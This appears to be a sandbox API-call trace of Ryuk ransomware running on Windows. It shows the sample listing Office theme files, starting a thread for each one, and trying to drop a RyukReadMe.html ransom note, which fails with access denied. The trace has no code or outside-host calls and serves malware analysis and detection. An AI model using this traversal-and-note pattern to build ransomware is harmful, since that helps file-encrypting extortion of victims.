	[0259.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a3c
	[0260.744] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.744] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0x62, dwReserved1=0x0, cFileName="Elemental.thmx", cAlternateFileName="ELEMEN~1.THM")) returned 1
	[0260.744] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a40
	[0260.747] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.747] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0x62, dwReserved1=0x0, cFileName="Equity.thmx", cAlternateFileName="EQUITY~1.THM")) returned 1
	[0260.747] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a44
	[0260.749] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.749] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0x62, dwReserved1=0x0, cFileName="Essential.thmx", cAlternateFileName="ESSENT~1.THM")) returned 1
	[0260.749] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a48
	[0260.751] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.751] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0x62, dwReserved1=0x0, cFileName="Executive.thmx", cAlternateFileName="EXECUT~1.THM")) returned 1
	[0260.751] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4c
	[0260.753] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.753] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0x62, dwReserved1=0x0, cFileName="Flow.thmx", cAlternateFileName="FLOW~1.THM")) returned 1
	[0260.753] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a50
	[0260.755] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.755] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0x62, dwReserved1=0x0, cFileName="Foundry.thmx", cAlternateFileName="FOUNDR~1.THM")) returned 1
	[0260.755] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a54
	[0260.757] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.757] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Grid.thmx", cAlternateFileName="GRID~1.THM")) returned 1
	[0260.757] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a58
	[0260.759] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.759] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0x62, dwReserved1=0x0, cFileName="Hardcover.thmx", cAlternateFileName="HARDCO~1.THM")) returned 1
	[0260.759] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a5c
	[0260.760] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.761] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0x62, dwReserved1=0x0, cFileName="Horizon.thmx", cAlternateFileName="HORIZO~1.THM")) returned 1
	[0260.761] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a60
	[0260.763] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.763] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0x62, dwReserved1=0x0, cFileName="Median.thmx", cAlternateFileName="MEDIAN~1.THM")) returned 1
	[0260.763] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a64
	[0260.765] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.766] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x62, dwReserved1=0x0, cFileName="Metro.thmx", cAlternateFileName="METRO~1.THM")) returned 1
	[0260.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a68
	[0260.767] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.768] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0x62, dwReserved1=0x0, cFileName="Module.thmx", cAlternateFileName="MODULE~1.THM")) returned 1
	[0260.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a6c
	[0260.770] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.770] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0x62, dwReserved1=0x0, cFileName="Newsprint.thmx", cAlternateFileName="NEWSPR~1.THM")) returned 1
	[0260.770] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a70
	[0260.772] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.772] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0x62, dwReserved1=0x0, cFileName="Opulent.thmx", cAlternateFileName="OPULEN~1.THM")) returned 1
	[0260.773] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a74
	[0260.774] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.774] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0x62, dwReserved1=0x0, cFileName="Oriel.thmx", cAlternateFileName="ORIEL~1.THM")) returned 1
	[0260.774] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a78
	[0260.776] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.776] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0x62, dwReserved1=0x0, cFileName="Origin.thmx", cAlternateFileName="ORIGIN~1.THM")) returned 1
	[0260.776] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0260.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a7c
	[0261.001] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.002] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0x62, dwReserved1=0x0, cFileName="Paper.thmx", cAlternateFileName="PAPER~1.THM")) returned 1
	[0261.002] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a80
	[0261.004] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.005] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd15a, dwReserved0=0x62, dwReserved1=0x0, cFileName="Perspective.thmx", cAlternateFileName="PERSPE~1.THM")) returned 1
	[0261.005] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a84
	[0261.006] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.007] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54abb600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54abb600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc97ce, dwReserved0=0x62, dwReserved1=0x0, cFileName="Pushpin.thmx", cAlternateFileName="PUSHPI~1.THM")) returned 1
	[0261.007] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a88
	[0261.009] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.009] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f86400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81f86400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x106e8, dwReserved0=0x62, dwReserved1=0x0, cFileName="Slipstream.thmx", cAlternateFileName="SLIPST~1.THM")) returned 1
	[0261.009] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8c
	[0261.011] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.012] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x124a0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Solstice.thmx", cAlternateFileName="SOLSTI~1.THM")) returned 1
	[0261.012] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a90
	[0261.014] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.015] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb74300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fb74300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10d83, dwReserved0=0x62, dwReserved1=0x0, cFileName="Technic.thmx", cAlternateFileName="TECHNI~1.THM")) returned 1
	[0261.015] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a94
	[0261.016] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.017] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59706a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59706a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15d75, dwReserved0=0x62, dwReserved1=0x0, cFileName="Thatch.thmx", cAlternateFileName="THATCH~1.THM")) returned 1
	[0261.017] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0261.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a98
	[0261.019] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.019] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="THEMEC~1")) returned 1
	[0261.019] SetLastError (dwErrCode=0x0) 
	[0261.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.770] GetLastError () returned 0x5
	[0261.770] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0261.770] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.770] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x88, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c7b0
	[0262.340] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x88, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.591] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x88, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1
	[0262.591] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
